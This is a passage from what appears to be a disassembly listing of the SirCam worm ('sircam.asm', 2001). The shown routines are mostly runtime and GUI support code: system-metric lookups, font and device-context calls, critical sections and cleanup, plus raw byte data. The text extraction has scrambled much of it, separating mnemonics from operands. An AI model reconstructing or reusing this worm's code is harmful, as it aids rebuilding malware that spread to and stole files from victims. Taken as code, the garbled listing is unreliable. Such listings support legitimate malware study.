sub_415764 eax, [ebx+20h] eax, [eax+8] ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_41573C: mov mov test jnz push call ; DATA XREF: CODE:004136A4\030o eax, [eax+20h] eax, [eax+14h] eax, eax short locret_41574D 0Ch j_GetSystemMetrics locret_41574D: ; CODE XREF: CODE:00415744\030j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_415750: mov mov test jnz push call ; DATA XREF: CODE:004136B0\030o eax, [eax+20h] eax, [eax+10h] eax, eax short locret_415761 0Bh j_GetSystemMetrics locret_415761: ; CODE XREF: CODE:00415758\030j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_415764 proc near var_A var_8 var_4 = word ptr -0Ah = word ptr -8 = dword ptr -4 push push add mov mov cmp ; CODE XREF: sub_415728+5\030p ebx esi esp, 0FFFFFFF4h esi, eax ebx, [esi+20h] dword ptr [ebx+8], 0 sircam.asm Fri Aug 10 12:42:44 2001 581 jnz short loc_4157D4 mov eax, [ebx+0Ch] test eax, eax jz short loc_4157D4 xor edx, edx call sub_40D840 mov edx, esp mov ecx, 6 mov eax, [ebx+0Ch] call sub_40D884 mov ax, [esp+0Ch+var_A] sub ax, 1 jb short loc_4157A0 jz short loc_4157AB jmp short loc_4157C8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4157A0: ; CODE XREF: sub_415764+36\030j mov eax, ds:dword_41E68C mov [esp+0Ch+var_4], eax jmp short loc_4157CD ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4157AB: ; CODE XREF: sub_415764+38\030j push 6 lea eax, [esi+24h] push eax lea eax, [ebx+10h] push eax movzx ecx, [esp+18h+var_8] lea edx, [esp+18h+var_4] mov eax, [ebx+0Ch] call sub_4149E8 jmp short loc_4157CD ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4157C8: ; CODE XREF: sub_415764+3A\030j call sub_4143CC mov mov ; CODE XREF: sub_415764+45\030j ; sub_415764+62\030j eax, [esp+0Ch+var_4] [ebx+8], eax loc_4157CD: loc_4157D4: sub_415764 ; CODE XREF: sub_415764+E\030j ; sub_415764+15\030j add pop pop retn endp esp, 0Ch esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4157DC proc near var_A var_4 = byte ptr -0Ah = dword ptr -4 push mov add push push push ebp ebp, esp esp, 0FFFFFFF4h ebx esi edi ; CODE XREF: sub_415A08+8\031p sircam.asm Fri Aug 10 12:42:44 2001 mov mov cmp jnz cmp jnz call 582 esi, eax ebx, [esi+20h] dword ptr [ebx+0Ch], 0 loc_415886 dword ptr [ebx+8], 0 short loc_4157FF sub_4143CC loc_4157FF: ; CODE XREF: sub_4157DC+1C\030j mov dl, 1 mov eax, ds:off_40BE14 call sub_402BAC mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_415869 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, esi call sub_415728 cmp eax, ds:dword_41E68C jnz short loc_41584C lea eax, [ebp+var_A] xor ecx, ecx mov edx, 6 call sub_4028D4 lea edx, [ebp+var_A] mov ecx, 6 mov eax, [ebp+var_4] call sub_40D8BC jmp short loc_41585F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41584C: ; CODE XREF: sub_4157DC+4D\030j mov call mov xor mov call eax, esi sub_415728 edx, eax ecx, ecx eax, [ebp+var_4] sub_414EF8 loc_41585F: ; CODE XREF: sub_4157DC+6E\030j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_415880 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415869: ; DATA XREF: sub_4157DC+35\030o jmp loc_402E34 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov eax, [ebp-4] call sub_402BDC call sub_402FB4 call sub_403008 loc_415880: ; CODE XREF: sub_4157DC+8B\030j mov mov eax, [ebp+var_4] [ebx+0Ch], eax pop pop pop mov pop retn endp edi esi ebx esp, ebp ebp loc_415886: sub_4157DC ; CODE XREF: sub_4157DC+12\030j sircam.asm Fri Aug 10 12:42:44 2001 583 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_415890 proc near var_A var_8 var_4 = byte ptr -0Ah = word ptr -8 = dword ptr -4 push mov add push push push mov mov mov mov call mov xor push push push mov mov call push mov call pop sub mov mov call mov call mov mov mov mov call lea mov mov call mov sub jb call loc_415909: ; DATA XREF: CODE:004136D4\030o ebp ebp, esp esp, 0FFFFFFF4h ebx esi edi esi, edx ebx, eax dl, 1 eax, ds:off_40BE14 sub_402BAC [ebp+var_4], eax eax, eax ebp offset loc_41591F dword ptr fs:[eax] fs:[eax], esp eax, esi sub_40D84C eax eax, esi sub_40D830 edx edx, eax eax, [ebp+var_4] ecx, [eax] dword ptr [ecx] eax, [ebp+var_4] sub_40D84C ecx, eax eax, [ebp+var_4] edx, [eax+4] eax, esi sub_40D884 edx, [ebp+var_A] ecx, 6 eax, [ebp+var_4] sub_40D884 ax, [ebp+var_8] ax, 2 short loc_415909 sub_4143CC ; CODE XREF: sub_415890+72\030j mov ecx, [ebp+var_4] xor edx, edx mov eax, ebx call sub_415948 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_415936 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 584 loc_41591F: ; DATA XREF: sub_415890+1F\030o jmp loc_402E34 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov eax, [ebp-4] call sub_402BDC call sub_402FB4 call sub_403008 loc_415936: sub_415890 mov mov mov call pop pop pop mov pop retn endp ; CODE XREF: sub_415890+8D\030j edx, ebx eax, ebx ecx, [eax] dword ptr [ecx+10h] edi esi ebx esp, ebp ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_415948 proc near var_4 = dword ptr -4 ; CODE XREF: sub_415670+40\030p ; sub_415890+80\030p ... push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax mov dl, 1 mov eax, ds:off_4135DC call sub_402BAC mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_415988 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] mov [eax+8], esi mov eax, [ebp+var_4] mov [eax+0Ch], edi xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_41599F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415988: ; DATA XREF: sub_415948+1F\030o jmp loc_402E34 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov eax, [ebp-4] call sub_402BDC call sub_402FB4 call sub_403008 sircam.asm Fri Aug 10 12:42:44 2001 loc_41599F: sub_415948 585 ; CODE XREF: sub_415948+3E\030j mov call mov call mov mov pop pop pop pop pop retn endp eax, [ebp+var_4] sub_415580 eax, [ebx+20h] sub_415584 eax, [ebp+var_4] [ebx+20h], eax edi esi ebx ecx ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4159BC sub_4159BC proc near ; CODE XREF: sub_416478+1C3\031p push ebx mov ebx, eax xor ecx, ecx mov eax, ebx call sub_415948 mov edx, ebx mov eax, ebx mov ecx, [eax] call dword ptr [ecx+10h] pop ebx retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_4159D4: ; DATA XREF: CODE:004136B8\030o mov ecx, [eax+20h] cmp dword ptr [ecx+8], 0 jnz short loc_4159E1 mov [eax+28h], edx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4159E1: ; CODE XREF: CODE:004159DB\030j mov eax, ds:off_41DB28 call sub_414390 retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS KEYPAD "+" TO EXPAND] align 4 loc_4159F0: ; DATA XREF: CODE:004136C4\030o mov ecx, [eax+20h] cmp dword ptr [ecx+8], 0 jnz short loc_4159FD mov [eax+24h], edx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4159FD: mov call retn ; CODE XREF: CODE:004159F7\030j eax, ds:off_41DB28 sub_414390 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm sub_415A08 sub_415A08 Fri Aug 10 12:42:44 2001 proc near push ebx push esi mov esi, edx mov ebx, eax mov eax, ebx call sub_4157DC mov eax, [ebx+20h] mov ebx, [eax+0Ch] mov eax, ebx call sub_40D84C mov ecx, eax mov edx, [ebx+4] mov eax, esi call sub_40D8BC pop esi pop ebx retn endp 586 ; DATA XREF: CODE:004136D8\030o ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_415A34 sub_415A34 proc near ; DATA XREF: CODE:004136DC\030o push ebp mov ebp, esp mov eax, ds:off_41DAD0 call sub_414390 pop ebp retn 4 endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_415A48 sub_415A48 proc near ; DATA XREF: CODE:004136E0\030o push ebp mov ebp, esp mov eax, ds:off_41DAD0 call sub_414390 pop ebp retn 4 endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 db 53h ; S db 6Ah ; j db 0 ; db 0E8h ; è db 0D8h ; Ø db 3 ; db 0FFh ; db 0FFh ; db 8Bh ; \213 db 0D8h ; Ø db 6Ah ; j db 5Ah ; Z db 53h ; S db 0E8h ; è db 36h ; 6 db 3 ; sircam.asm Fri Aug 10 12:42:44 2001 db 0FFh db 0FFh db 0A3h db 7Ch db 0E6h db 41h db 0 db 53h db 6Ah db 0 db 0E8h db 0F9h db 3 db 0FFh db 0FFh db 0B8h db 74h db 0DAh db 41h db 0 db 0BAh db 0Fh db 0 db 0 db 0 db 0E8h db 0EEh db 0EBh db 0FFh db 0FFh db 0A3h db 74h db 0E6h db 41h db 0 db 5Bh db 0C3h align 4 ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; 587 £ | OFF32 SEGDEF [BSS,41E67C] æ A S j è ù ¸ t OFF32 SEGDEF [DATA,41DA74] Ú A º è î ë £ t OFF32 SEGDEF [BSS,41E674] æ A [ à ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_415A94 proc near var_4 = byte ptr -4 push push add mov push call mov test jz mov push push call test jz push push call test jz mov loc_415AC7: ebx esi esp, 0FFFFFFC8h bl, 1 0 j_GetDC esi, eax esi, esi short loc_415ACF eax, ds:dword_41E688 eax esi j_SelectObject eax, eax short loc_415AC7 esp esi j_GetTextMetricsA eax, eax short loc_415AC7 bl, [esp+38h+var_4] ; CODE XREF: sub_415A94+22\030j ; sub_415A94+2D\030j sircam.asm Fri Aug 10 12:42:44 2001 push push call esi 0 j_ReleaseDC mov add pop pop retn endp eax, ebx esp, 38h esi ebx loc_415ACF: sub_415A94 588 ; CODE XREF: sub_415A94+12\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 db 53h ; S db 56h ; V db 57h ; W db 6Ah ; j db 48h ; H db 0A1h ; ¡ db 7Ch ; | OFF32 SEGDEF [BSS,41E67C] db 0E6h ; æ db 41h ; A db 0 ; db 50h ; P db 6Ah ; j db 8 ; db 0E8h ; è db 0D2h ; Ò db 1 ; db 0FFh ; db 0FFh ; db 0F7h ; ÷ db 0D8h ; Ø db 0A3h ; £ db 30h ; 0 OFF32 SEGDEF [DATA,41D830] db 0D8h ; Ø db 41h ; A db 0 ; db 0A1h ; ¡ db 84h ; \204 OFF32 SEGDEF [DATA,41DC84] db 0DCh ; Ü db 41h ; A db 0 ; db 80h ; \200 db 78h ; x db 8 ; db 0 ; db 74h ; t db 3Ah ; : db 0E8h ; è db 93h ; \223 db 0FFh ; db 0FFh ; db 0FFh ; db 8Bh ; \213 db 0D8h ; Ø db 8Bh ; \213 db 0C3h ; à db 2Ch ; , db 80h ; \200 db 75h ; u db 2Dh ; db 0BEh ; ¾ db 3Ch ; < OFF32 SEGDEF [CODE,415B3C] db 5Bh ; [ db 41h ; A db 0 ; db 0BFh ; ¿ db 37h ; 7 OFF32 SEGDEF [DATA,41D837] sircam.asm off_415B4C dword_415B98 Fri Aug 10 12:42:44 2001 589 db 0D8h ; Ø db 41h ; A db 0 ; db 0B9h ; ¹ db 4 ; db 0 ; db 0 ; db 0 ; db 0F3h ; ó db 0A5h ; ¥ db 6Ah ; j db 48h ; H db 0A1h ; ¡ db 7Ch ; | OFF32 SEGDEF [BSS,41E67C] db 0E6h ; æ db 41h ; A db 0 ; db 50h ; P db 6Ah ; j db 9 ; db 0E8h ; è db 93h ; \223 db 1 ; db 0FFh ; db 0FFh ; db 0F7h ; ÷ db 0D8h ; Ø db 0A3h ; £ db 30h ; 0 OFF32 SEGDEF [DATA,41D830] db 0D8h ; Ø db 41h ; A db 0 ; db 88h ; \210 db 1Dh ; db 36h ; 6 OFF32 SEGDEF [DATA,41D836] db 0D8h ; Ø db 41h ; A db 0 ; db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C3h ; à align 4 dd 826C820Fh, 6F822072h, 56835383h, 4E836283h dd offset dword_415B98 ; DATA XREF: CODE:00415E12\031o dd 7 dup(0) dd offset dword_415B98 dd 20h dd offset off_40100C dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_415BE0 dd 6150540Fh, 72657474h, 6E614D6Eh, 72656761h, 0D2845653h ; DATA XREF: CODE:00415B4C\030o ; CODE:00415B6C\030o dd 0C4830874h, 0D126E8F0h, 0DA8BFFFEh, 468DF08Bh, 0E1E85008h dd 8BFFFF00h, 74DB84C6h, 0D166E80Fh, 8F64FFFEh, 5, 0CC48300h dd 5B5EC68Bh, 408DC3h ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_415BE0 proc near push ebx push esi ; DATA XREF: CODE:00415B94\030o sircam.asm Fri Aug 10 12:42:44 2001 call mov mov mov call lea push call test jle mov call sub_402D3C ebx, edx esi, eax eax, esi sub_415C24 eax, [esi+8] eax j_DeleteCriticalSection_0 bl, bl short loc_415C06 eax, esi sub_402D2C loc_415C06: sub_415BE0 590 ; CODE XREF: sub_415BE0+1D\030j pop esi pop ebx retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_415C0C sub_415C0C proc near ; CODE XREF: sub_415C24+17\031p add eax, 8 push eax call j_EnterCriticalSection_0 retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_415C18 sub_415C18 proc near ; CODE XREF: sub_415C24+45\031p add eax, 8 push eax call j_LeaveCriticalSection_0 retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_415C24 proc near var_C var_8 var_4 = dword ptr -0Ch = dword ptr -8 = dword ptr -4 ; CODE XREF: sub_415BE0+D\030p push ebp mov ebp, esp add esp, 0FFFFFFF4h mov [ebp+var_4], eax jmp short loc_415C8D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415C2F: ; CODE XREF: sub_415C24+71\031j mov mov mov mov [ebp+var_8], eax eax, [ebp+var_8] [ebp+var_C], eax eax, [ebp+var_4] sircam.asm Fri Aug 10 12:42:44 2001 call xor push push push mov mov mov mov mov xor pop pop pop mov push 591 sub_415C0C eax, eax ebp offset loc_415C6F dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_C] eax, [eax] edx, [ebp+var_4] [edx+4], eax eax, eax edx ecx ecx fs:[eax], edx offset loc_415C76 loc_415C66: ; CODE XREF: sub_415C24+50\031j mov eax, [ebp+var_4] call sub_415C18 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415C6F: ; DATA XREF: sub_415C24+1F\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_415C66 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415C76: ; DATA XREF: sub_415C24+3D\030o mov mov test jz call eax, [ebp-0Ch] eax, [eax+4] eax, eax short loc_415C85 sub_402BDC mov call eax, [ebp-8] sub_4025B0 mov mov test jnz mov pop retn endp eax, [ebp+var_4] eax, [eax+4] eax, eax short loc_415C2F esp, ebp ebp loc_415C85: ; CODE XREF: sub_415C24+5A\030j loc_415C8D: sub_415C24 ; CODE XREF: sub_415C24+9\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_415C9C proc near ; DATA XREF: CODE:0041A990\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_415D65 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E678 jnz loc_415D57 mov eax, ds:dword_41E6D0 call sub_402BDC mov eax, ds:dword_41DA6C sircam.asm Fri Aug 10 12:42:44 2001 592 call mov call call mov call mov call mov call mov call mov call mov push call push call push call mov mov mov call mov mov mov call sub_402BDC eax, ds:dword_41DA68 sub_402BDC sub_415434 eax, ds:dword_41DA70 sub_402BDC eax, ds:dword_41E6CC sub_402BDC eax, ds:dword_41E6C0 sub_402BDC eax, ds:dword_41E6C4 sub_402BDC eax, ds:dword_41E6C8 sub_402BDC eax, ds:dword_41E674 eax j_DeleteObject offset unk_41E690 j_DeleteCriticalSection_0 offset unk_41E6A8 j_DeleteCriticalSection_0 eax, offset unk_41D9A8 ecx, 12h edx, ds:off_40BE84 sub_403BE8 eax, offset unk_41D858 ecx, 2Ah edx, ds:off_40BE84 sub_403BE8 xor pop pop pop mov push ; CODE XREF: sub_415C9C+17\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_415D6C loc_415D57: locret_415D64: ; CODE XREF: sub_415C9C+CE\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415D65: ; DATA XREF: sub_415C9C+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_415D64 ; 